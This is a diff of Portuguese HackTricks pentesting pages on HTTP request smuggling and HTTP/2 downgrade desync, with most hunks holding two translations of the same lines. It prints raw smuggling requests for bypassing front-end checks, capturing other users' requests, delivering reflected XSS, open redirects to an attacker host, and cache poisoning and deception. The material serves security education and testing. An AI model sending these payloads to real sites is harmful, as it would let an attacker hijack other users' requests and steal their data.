* A solicitação de "ataque" e a solicitação "normal" devem ser enviadas ao servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não provará que a vulnerabilidade existe.
* A solicitação de "ataque" e a solicitação "normal" devem usar a mesma URL e nomes de parâmetros, tanto quanto possível. Isso ocorre porque muitas aplicações modernas encaminham solicitações front-end para diferentes servidores back-end com base na URL e nos parâmetros. Usar a mesma URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor back-end, o que é essencial para o funcionamento do ataque.
* Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação de "ataque", você está em uma corrida com quaisquer outras solicitações que a aplicação esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação de "ataque". Se a aplicação estiver ocupada, você pode precisar realizar várias tentativas para confirmar a vulnerabilidade.
* Em algumas aplicações, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações de "ataque" e "normal" forem encaminhadas para diferentes sistemas back-end, então o ataque falhará. Esta é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
* Se o seu ataque for bem-sucedido em interferir com uma solicitação subsequente, mas essa não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário da aplicação foi afetado pelo seu ataque. Se você continuar realizando o teste, isso poderá ter um efeito perturbador sobre outros usuários, e você deve ter cautela.
### Forçando através de cabeçalhos hop-by-hop
### Forçando via cabeçalhos hop-by-hop
Ao abusar dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding, tornando possível abusar do HTTP request smuggling**.
Abusando de cabeçalhos hop-by-hop, você pode indicar ao proxy para **deletar o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de abusar**.
```
```
Connection: Content-Length
```
@ -176,9 +181,9 @@ Para **mais informações sobre cabeçalhos hop-by-hop**, visite:
## Abusando do HTTP Request Smuggling
### Para contornar os controles de segurança do front-end
### Para burlar controles de segurança front-end
Às vezes, os **proxies do front-end realizarão algumas verificações de segurança**. Você pode evitá-las abusando do HTTP Request Smuggling, pois você será capaz de **contornar as proteções**. Por exemplo, neste exemplo você **não pode acessar `/admin` de fora** e o proxy do front-end está verificando isso, mas este **proxy não está verificando a solicitação incorporada**:
Às vezes, **proxies front-end realizam algumas verificações de segurança**. Você pode evitá-las abusando do HTTP Request Smuggling, pois será capaz de **burlar as proteções**. Por exemplo, neste exemplo você **não pode acessar `/admin` de fora** e o proxy front-end está verificando isso, mas esse **proxy não está verificando a requisição embutida**:
**CL.TE**
@ -212,13 +217,13 @@ Para **mais informações sobre cabeçalhos hop-by-hop**, visite:
`0`\
`\`
### Revelando a reescrita da solicitação do front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Revelando reescrita de requisições front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Em muitas aplicações, o **servidor do front-end realiza alguma reescrita das solicitações** antes de encaminhá-las para o servidor do back-end, geralmente adicionando alguns cabeçalhos de solicitação adicionais.\
Uma coisa comum a se fazer é **adicionar à solicitação o cabeçalho** `X-Forwarded-For: <IP do cliente>` ou algum cabeçalho semelhante para que o back-end saiba o IP do cliente.\
Às vezes, se você pode **encontrar quais novos valores são anexados** à solicitação, você pode ser capaz de **contornar as proteções** e **acessar informações ocultas**/**pontos de extremidade**.
Em muitas aplicações, o **servidor front-end realiza alguma reescrita de requisições** antes de encaminhá-las ao servidor back-end, tipicamente adicionando alguns cabeçalhos de requisição adicionais.\
Uma prática comum é **adicionar ao pedido o cabeçalho** `X-Forwarded-For: <IP do cliente>` ou algum cabeçalho similar para que o back-end conheça o IP do cliente.\
Às vezes, se você **descobrir quais novos valores são anexados** à requisição, você poderá **burlar proteções** e **acessar informações/endpoints ocultos**.
Para descobrir como o proxy está reescrevendo a solicitação, você precisa **encontrar um parâmetro POST que o back-end refletirá o valor** na resposta. Em seguida, use este parâmetro como o último e use uma exploração como esta:
Para descobrir como o proxy está reescrevendo a requisição, você precisa **encontrar um parâmetro POST que o back-end refletirá seu valor** na resposta. Então, use este parâmetro como o último e use um exploit como este:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -229,16 +234,16 @@ Para descobrir como o proxy está reescrevendo a solicitação, você precisa **
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=`
Neste caso, a próxima solicitação será anexada após `search=`, que também é **o parâmetro cujo valor será refletido** na resposta, portanto, ele vai **refletir os cabeçalhos da próxima solicitação**.
Neste caso, a próxima requisição será anexada após `search=`, que é também **o parâmetro cujo valor será refletido** na resposta, portanto, vai **refletir os cabeçalhos da próxima requisição**.
Observe que **apenas o comprimento indicado no cabeçalho `Content-Length` da solicitação incorporada será refletido**. Se você usar um número baixo, apenas alguns bytes serão refletidos, se você usar um número maior do que o comprimento de todos os cabeçalhos, então a solicitação incorporada lançará um erro. Portanto, você deve **começar** com um **número pequeno** e **aumentá-lo** até ver tudo o que deseja ver.\
Observe também que essa **técnica também é explorável com uma vulnerabilidade TE.CL**, mas a solicitação deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
Note que **apenas o comprimento indicado no cabeçalho `Content-Length` da requisição embutida será refletido**. Se você usar um número baixo, apenas alguns bytes serão refletidos; se usar um número maior que o comprimento de todos os cabeçalhos, então a requisição embutida gerará um erro. Então, você deve **começar** com um **número pequeno** e **aumentar** até ver tudo o que desejava ver.\
Note também que esta **técnica também é explorável com uma vulnerabilidade TE.CL** mas a requisição deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
Finalmente, observe que neste ataque ainda estamos nos atacando para aprender como o proxy do front-end está reescrevendo a solicitação.
Finalmente, note que neste ataque ainda estamos nos atacando para aprender como o proxy front-end está reescrevendo a requisição.
### Capturando solicitações de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Capturando requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Se você pode encontrar uma solicitação POST que vai salvar o conteúdo de um dos parâmetros, você pode anexar a seguinte solicitação como o valor desse parâmetro para armazenar a solicitação do próximo cliente:
Se você encontrar uma requisição POST que vai salvar o conteúdo de um dos parâmetros, você pode anexar a seguinte requisição como o valor desse parâmetro para armazenar a requisição do próximo cliente:
`POST / HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
@ -256,19 +261,20 @@ Se você pode encontrar uma solicitação POST que vai salvar o conteúdo de um
\`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
Neste caso, o valor do **parâmetro comment** será **salvo dentro de um comentário** de uma postagem na página que está **disponível publicamente**, então um **comentário aparecerá com o conteúdo da próxima solicitação**.
Neste caso, o valor do **parâmetro comment** será **salvo dentro de um comentário** de um post na página que é **publicamente acessível**, então um **comentário aparecerá com o conteúdo da próxima requisição**.
_Uma limitação desta técnica é que geralmente ela só capturará dados até o delimitador de parâmetro que é aplicável para a solicitação contrabandeada. Para envios de formulários codificados em URL, isso será o caractere `&`, o que significa que o conteúdo armazenado da solicitação do usuário vítima terminará no primeiro `&`, que pode até mesmo aparecer na string de consulta._
_Uma limitação com esta técnica é que ela geralmente só captura dados até o delimitador de parâmetros que é aplicável para a requisição contrabandeada. Para submissões de formulários codificados por URL, será o caractere `&`, o que significa que o conteúdo armazenado da requisição do usuário vítima terminará no primeiro `&`, que pode até aparecer na string de consulta._
Observe também que essa **técnica também é explorável com uma vulnerabilidade TE.CL**, mas a solicitação deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
### Usando HTTP request smuggling para explorar XSS refletido
Note também que esta **técnica também é explorável com uma vulnerabilidade TE.CL** mas a requisição deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
Se a página da web também for **vulnerável a XSS refletido**, você pode abusar do HTTP Request Smuggling para atacar os clientes da web. A exploração de XSS refletido a partir do HTTP Request Smuggling tem algumas vantagens:
### Usando HTTP Request Smuggling para explorar XSS refletido
* **Não requer interação com os usuários vítimas**
* Pode ser usado para **explorar** o comportamento XSS em partes da solicitação que **não podem ser controladas facilmente em um ataque XSS refletido normal**, como os cabeçalhos da solicitação HTTP.
Se a página web também for **vulnerável a XSS Refletido**, você pode abusar do HTTP Request Smuggling para atacar clientes da web. A exploração de XSS Refletido a partir do HTTP Request Smuggling tem algumas vantagens:
Se um site da web for vulnerável a XSS refletido no cabeçalho User-Agent, você pode usar essa carga útil para explorá-lo:
* **Não requer interação com usuários vítimas**
* Pode ser usado para **explorar** comportamentos XSS em partes da requisição que **não podem ser trivialmente controladas em um ataque normal de XSS refletido**, como cabeçalhos de requisições HTTP.
Se um site for vulnerável a XSS Refletido no cabeçalho User-Agent, você pode usar este payload para explorá-lo:
`POST / HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
@ -287,9 +293,9 @@ Se um site da web for vulnerável a XSS refletido no cabeçalho User-Agent, voc
\`\`\
`A=`
### Usando HTTP request smuggling para transformar um redirecionamento no site em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Usando HTTP Request Smuggling para transformar um redirecionamento interno em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
Muitos aplicativos realizam redirecionamentos no site de uma URL para outra e colocam o nome do host do cabeçalho `Host` da solicitação no URL de redirecionamento. Um exemplo disso é o comportamento padrão dos servidores web Apache e IIS, onde uma solicitação para uma pasta sem uma barra final recebe um redirecionamento para a mesma pasta incluindo a barra final:
Muitas aplicações realizam redirecionamentos internos de uma URL para outra e colocam o nome do host do cabeçalho `Host` da requisição na URL de redirecionamento. Um exemplo disso é o comportamento padrão dos servidores web Apache e IIS, onde uma requisição para uma pasta sem uma barra final recebe um redirecionamento para a mesma pasta incluindo a barra final:
`GET /home HTTP/1.1`\
`Host: normal-website.com`\
@ -297,7 +303,7 @@ Muitos aplicativos realizam redirecionamentos no site de uma URL para outra e co
`HTTP/1.1 301 Moved Permanently`\
`Location: https://normal-website.com/home/`
Esse comportamento geralmente é considerado inofensivo, mas pode ser explorado em um ataque de smuggling de solicitação para redirecionar outros usuários para um domínio externo. Por exemplo:
Esse comportamento é normalmente considerado inofensivo, mas pode ser explorado em um ataque de contrabando de requisições para redirecionar outros usuários para um domínio externo. Por exemplo:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -309,7 +315,7 @@ Esse comportamento geralmente é considerado inofensivo, mas pode ser explorado
`Host: attacker-website.com`\
`Foo: X`
A solicitação smuggled irá acionar um redirecionamento para o site do atacante, o que afetará a próxima solicitação do usuário que é processada pelo servidor back-end. Por exemplo:
A requisição contrabandeada acionará um redirecionamento para o site do atacante, o que afetará a próxima requisição do usuário processada pelo servidor back-end. Por exemplo:
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
@ -319,17 +325,17 @@ A solicitação smuggled irá acionar um redirecionamento para o site do atacant
`HTTP/1.1 301 Moved Permanently`\
`Location: https://attacker-website.com/home/`
Aqui, a solicitação do usuário era para um arquivo JavaScript que foi importado por uma página no site. O atacante pode comprometer totalmente o usuário vítima retornando seu próprio JavaScript na resposta.
Aqui, a requisição do usuário era para um arquivo JavaScript que foi importado por uma página no site. O atacante pode comprometer totalmente o usuário vítima retornando seu próprio JavaScript na resposta.
### Usando HTTP request smuggling para realizar envenenamento de cache da web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
### Usando HTTP Request Smuggling para realizar envenenamento de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
Se alguma parte da **infraestrutura de front-end realizar o cache de conteúdo** (geralmente por motivos de desempenho), pode ser possível envenenar esse cache modificando a resposta do servidor.
Se alguma parte da **infraestrutura front-end realiza cache de conteúdo** (geralmente por razões de desempenho), então **pode ser possível envenenar esse cache modificando a resposta do servidor**.
Já vimos como modificar o valor esperado retornado pelo servidor para um 404 (nos [Exemplos Básicos](./#basic-examples)), de forma semelhante, você pode fazer o servidor retornar o conteúdo de /index.html quando a solicitação envenenada estiver pedindo por `/static/include.js`. Dessa forma, o conteúdo de `/static/include.js` será armazenado em cache com o conteúdo de `/index.html`, tornando `/static/include.js` inacessível para os clientes (DoS?).
Já vimos como modificar o valor esperado de retorno do servidor para um 404 (nos [Exemplos Básicos](./#basic-examples)), de maneira similar você poderia fazer o servidor retornar o conteúdo de /index.html quando a requisição envenenada está pedindo por `/static/include.js`. Dessa forma, o conteúdo de `/static/include.js` será armazenado em cache com o conteúdo de `/index.html`, tornando `/static/include.js` inacessível para os clientes (DoS?).
Observe que isso é ainda mais interessante se você encontrar algum **Redirecionamento Aberto** ou algum **redirecionamento no site para redirecionamento aberto** (última seção). Porque você pode ser capaz de **alterar os valores de cache** de `/static/include.js` com os **valores de um script controlado por você** (fazendo um **XSS geral para todos os clientes** que tentam baixar a nova versão de `/static/include.js`).
Observe que isso é ainda mais interessante se você encontrar algum **Redirecionamento Aberto** ou algum **redirecionamento interno para redirecionamento aberto** (última seção). Porque, você poderia ser capaz de **mudar os valores de cache** de `/static/include.js` com **os de um script controlado por você** (fazendo um **XSS geral para todos os clientes** que tentarem baixar a nova versão de `/static/include.js`).
Neste exemplo, será mostrado como você pode explorar um **envenenamento de cache + redirecionamento no site para redirecionamento aberto** para modificar o conteúdo do cache de `/static/include.js` para **servir código JS controlado** pelo atacante:
Neste exemplo, será mostrado como você pode explorar um **envenenamento de cache + redirecionamento interno para redirecionamento aberto** para modificar os conteúdos do cache de `/static/include.js` para **servir código JS controlado** pelo atacante:
`POST / HTTP/1.1`\
`Host: vulnerable.net`\
@ -345,19 +351,20 @@ Neste exemplo, será mostrado como você pode explorar um **envenenamento de cac
\`\`\
`x=1`
Observe como a solicitação incorporada está pedindo `/post/next?postId=3`. Essa solicitação será redirecionada para `/post?postId=4` e **usará o valor do cabeçalho Host** para indicar o domínio. Portanto, você pode **modificar o cabeçalho Host** para apontar para o servidor do atacante e o redirecionamento usará esse domínio (**redirecionamento no site para redirecionamento aberto**).
Note como a requisição embutida está pedindo por `/post/next?postId=3` Esta requisição será redirecionada para `/post?postId=4` e **usará o valor do cabeçalho Host** para indicar o domínio. Portanto, você pode **modificar o cabeçalho Host** para apontar para o servidor do atacante e o redirecionamento usará esse domínio (**redirecionamento interno para redirecionamento aberto**).
Em seguida, **após envenenar o socket**, você precisa enviar uma solicitação **GET** para \*\*`/static/include.js`\*\* essa solicitação será **envenenada** pela solicitação **redirecionamento no site para redirecionamento aberto** e irá **capturar o conteúdo do script controlado pelo atacante**.
Então, **após envenenar o socket**, você precisa enviar uma **requisição GET** para **`/static/include.js`** esta requisição será **envenenada** pela requisição de **redirecionamento interno para redirecionamento aberto** e **pegará o conteúdo do script controlado pelo atacante**.
Da próxima vez que alguém solicitar `/static/include.js`, o conteúdo em cache do script do atacante será servido (XSS geral).
### Usando o contrabando de solicitação HTTP para realizar a decepção do cache da web <a href="#usando-o-contrabando-de-solicitação-http-para-realizar-a-decepção-do-cache-da-web" id="usando-o-contrabando-de-solicitação-http-para-realizar-a-decepção-do-cache-da-web"></a>
Na próxima vez que alguém pedir por `/static/include.js`, os conteúdos em cache do script do atacante serão servidos (XSS geral).
> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
### Usando HTTP Request Smuggling para realizar decepção de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Qual é a diferença entre envenenamento de cache web e decepção de cache web?**
>
> * No **envenenamento de cache da web**, o atacante faz com que o aplicativo armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários do aplicativo.
> * Na **decepção de cache da web**, o atacante faz com que o aplicativo armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
> * No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e este conteúdo é servido do cache para outros usuários da aplicação.
> * Na **decepção de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera este conteúdo do cache.
Nesta variante, o atacante contrabandeia uma solicitação que retorna algum conteúdo sensível específico do usuário. Por exemplo:
Nesta variante, o atacante contrabandeia uma requisição que retorna algum conteúdo sensível específico do usuário. Por exemplo:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -368,12 +375,12 @@ Nesta variante, o atacante contrabandeia uma solicitação que retorna algum con
`GET /private/messages HTTP/1.1`\
`Foo: X`
Se o **veneno atingir um cliente que estava acessando algum conteúdo estático** como `/someimage.png` que seria **armazenado em cache**. O conteúdo de `/private/messages` da vítima será armazenado em `/someimage.png` e o atacante poderá roubá-lo.\
Observe que o **atacante não sabe qual conteúdo estático a vítima estava tentando acessar**, então provavelmente a melhor maneira de testar isso é realizar o ataque, esperar alguns segundos e **carregar todos** os conteúdos estáticos e **procurar pelos dados privados**.
Se o **envenenamento atingir um cliente que estava acessando algum conteúdo estático** como `/someimage.png` que iria ser **armazenado em cache**. Os conteúdos de `/private/messages` da vítima serão armazenados em cache em `/someimage.png` e o atacante poderá roubá-los.\
Note que o **atacante não sabe qual conteúdo estático a vítima estava tentando acessar** então provavelmente a melhor maneira de testar isso é realizar o ataque, esperar alguns segundos e **carregar todo** o conteúdo estático e **procurar pelos dados privados**.
### Armando o Contrabando de Solicitação HTTP com a Dessincronização da Resposta HTTP
### Armando HTTP Request Smuggling com Desincronização de Resposta HTTP
Você encontrou alguma vulnerabilidade de Contrabando de Solicitação HTTP e não sabe como explorá-la. Experimente este outro método de exploração:
Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Tente este outro método de exploração:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -478,7 +485,7 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de requisição.
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas no contrabando de requisições.
## Referências
@ -492,12 +499,14 @@ table.add(req)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

147
pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
View file

@ -1,43 +1,158 @@
# Request Smuggling em Downgrades HTTP/2
# Contrabando de Requisições em Downgrades de HTTP/2
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Origens
A principal origem dessa vulnerabilidade é o fato de que o **proxy reverso** vai **conversar com o cliente** usando **HTTP/2**, mas então ele vai **transformar** essa **comunicação** com o **servidor back-end** em **HTTP/1.1**.
A principal origem dessa vulnerabilidade é o fato de que o **reverse proxy** vai **comunicar-se com o cliente** usando **HTTP/2** mas depois vai **transformar** essa **comunicação** com o **servidor back-end** para **HTTP/1.1**.
![](<../../.gitbook/assets/image (636) (1).png>)
O problema com essa abordagem é que o **usuário** será capaz de **injetar** cabeçalhos desnecessários na **comunicação HTTP/2** que provavelmente **não serão verificados** pelo proxy. Mas então, quando esses são **injetados cegamente na comunicação HTTP/1.1**, **um ataque de smuggling de request pode ser realizado**.
O problema com essa abordagem é que o **usuário** vai poder **injetar** **headers** desnecessários na **comunicação HTTP/2** que provavelmente **não serão verificados** pelo proxy. Mas então, quando esses são **injetados cegamente na comunicação HTTP/1.1**, **um ataque de contrabando de requisições pode ser realizado**.
## Exemplos
### H2.CL Desync
### Desincronização H2.CL
A especificação do HTTP/2 indica que o cabeçalho **Content-Length não é necessário, mas pode ser indicado**. Portanto, o **proxy reverso** vai **tratar todo o conteúdo enviado pelos usuários** como a solicitação, mas então, quando **rebaixado para HTTP/1.1**, esse **cabeçalho** será **injetado** na **solicitação** e, portanto, o **back-end tratará a solicitação como 2 solicitações diferentes** como você pode ver na imagem abaixo:
A especificação do HTTP/2 indica que o **header Content-Length não é necessário, mas pode ser indicado**. Portanto, o **reverse proxy** vai **tratar todo o conteúdo enviado pelos usuários** como a requisição, mas então, ao **rebaixar para HTTP/1.1**, esse **header** vai ser **injetado** na **requisição** e, portanto, o **back-end vai tratar a requisição como 2 requisições diferentes**, como você pode ver na imagem abaixo:
![](<../../.gitbook/assets/image (639).png>)
### H2.TE Desync URL Token Hijack
### Sequestro de Token de URL H2.TE Desync
A especificação do HTTP/2 também indica que **qualquer mensagem contendo campos de cabeçalho específicos da conexão DEVE ser tratada como malformada... mas se você não seguir essa regra, você está vulnerável**.
Essa técnica foi abusada no balanceador de carga da AWS, então garantir que os usuários acessem um cabeçalho Host apontando para um servidor controlado pelo atacante fará com que eles acessem esse servidor.
Esta técnica foi abusada no balanceador de carga da AWS, então garantir que os usuários acessem um cabeçalho Host apontando para um servidor controlado pelo atacante fará com que eles acessem esse servidor.
![](<../../.gitbook/assets/image (631) (1).png>)
### H2.TE Desync Header Hijack
### Sequestro de Cabeçalho H2.TE Desync
Esta é exatamente a mesma técnica que antes, mas verificando as solicitações, James percebeu que os clientes estavam pedindo para enviar suas credenciais, então ele simplesmente modificou seu servidor para permitir o CORS para enviar as credenciais das pessoas para ele:
Esta é exatamente a mesma técnica que a anterior, mas verificando as requisições, James notou que os clientes estavam pedindo para enviar suas credenciais, então ele apenas modificou seu servidor para permitir que o CORS lhe enviasse as credenciais das pessoas:
![](<../../.gitbook/assets/image (662) (1) (1) (1)
![](<../../.gitbook/assets/image (662) (1) (1) (1) (1) (1).png>)
### H2.TE via Injeção de Cabeçalho de Requisição
**HTTP/2 também não permite colocar caracteres não permitidos nos cabeçalhos**, mas se o servidor **não respeitar** essa regra, você pode **injetar cabeçalhos arbitrários** quando a comunicação for **rebaixada** para HTTP/1.1.
Neste caso, **o cabeçalho Transfer-Encoding foi injetado**.
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1) (1).png>)
### H2.TE via Injeção de Nome de Cabeçalho
HTTP/2 em alguns servidores permite colocar um **dois-pontos no nome do cabeçalho, e com um** você pode injetar um novo cabeçalho dentro do nome do cabeçalho como este:
![](<../../.gitbook/assets/image (632) (1).png>)
Note que se você colocar apenas os caracteres de nova linha enviando um cabeçalho sem conteúdo, a requisição será tratada como **inválida**:
![](<../../.gitbook/assets/image (647) (1) (1) (1).png>)
### H2.TE via Injeção de Linha de Requisição
Neste caso, a injeção foi realizada dentro da linha de requisição:
![](<../../.gitbook/assets/image (640) (1).png>)
### Injeção de Prefixo de URL
Dentro do esquema da conexão HTTP/2, você pode ser capaz de enviar uma URL completa que sobrescreverá a indicada no caminho:
![](<../../.gitbook/assets/image (661) (1) (1).png>)
### Injeção de Linha de Requisição via espaços
![](<../../.gitbook/assets/image (641) (1).png>)
## Reutilização de conexão Frontend->backend
Às vezes, você descobrirá que ao realizar um ataque de Contrabando de Requisições HTTP **você só pode atacar a si mesmo**. Isso pode ser porque o reverse proxy decidiu **usar uma conexão diferente com o servidor back-end** por IP.
Note que **mesmo** com essa **restrição** você ainda pode realizar ataques como **bypass de autorização**, vazamento de cabeçalhos internos e ataques de **decepção e envenenamento de cache**.
Geralmente essa restrição não existe, então você pode **contrabandear requisições na conexão entre o reverse proxy e o back-end** que outras pessoas estão usando, mas é até **possível** que o **proxy** não **reutilize uma conexão com conexões do mesmo IP** (restrição bastante pesada para esse tipo de ataque).
![](<../../.gitbook/assets/image (646) (1) (1).png>)
